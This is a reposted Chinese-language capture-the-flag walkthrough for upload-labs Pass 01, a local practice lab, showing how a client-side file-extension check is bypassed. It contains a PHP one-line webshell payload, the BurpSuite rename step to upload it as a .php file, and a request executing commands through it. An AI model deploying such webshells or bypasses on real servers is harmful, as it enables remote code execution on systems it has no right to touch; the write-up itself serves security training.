10

【upload-labs】 Pass 01 - File Extension

 2 years ago
source link: https://exp-blog.com/safe/ctf/upload-labs/pass-01-file-extension/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【upload-labs】 Pass 01


注: upload-labs 靶场环境需自行用 docker 部署。


function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

从源码很明显可以知道,代码只对上传的 文件名后缀 做检验,因此可以 从客户端绕过

伪造一个图片文件,文件名为 payload.png ,内容为 PHP 的一句话木马 :

<?php eval(@$_GET['exp']); ?>

上传此文件后,因为文件后缀为 .png ,所以即使打开图片也无法解析 PHP 代码。

01.png
02.png

要绕过其实很简单,只需要用 BurpSuite 拦截上传文件的 POST 请求,然后修改 POST 内容中的文件名,把 payload.png 修改成 payload.php (注意 Content-Type 要确保为图片类型)。

03.png

上传成功后,访问改名后的 payload.php 文件,并利用一句话木马执行 phpinfo(); 命令:

http://127.0.0.1/upload/payload.php?exp=phpinfo();

解析 phpinfo(); 命令成功,完成挑战。

04.png

payload: 下载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK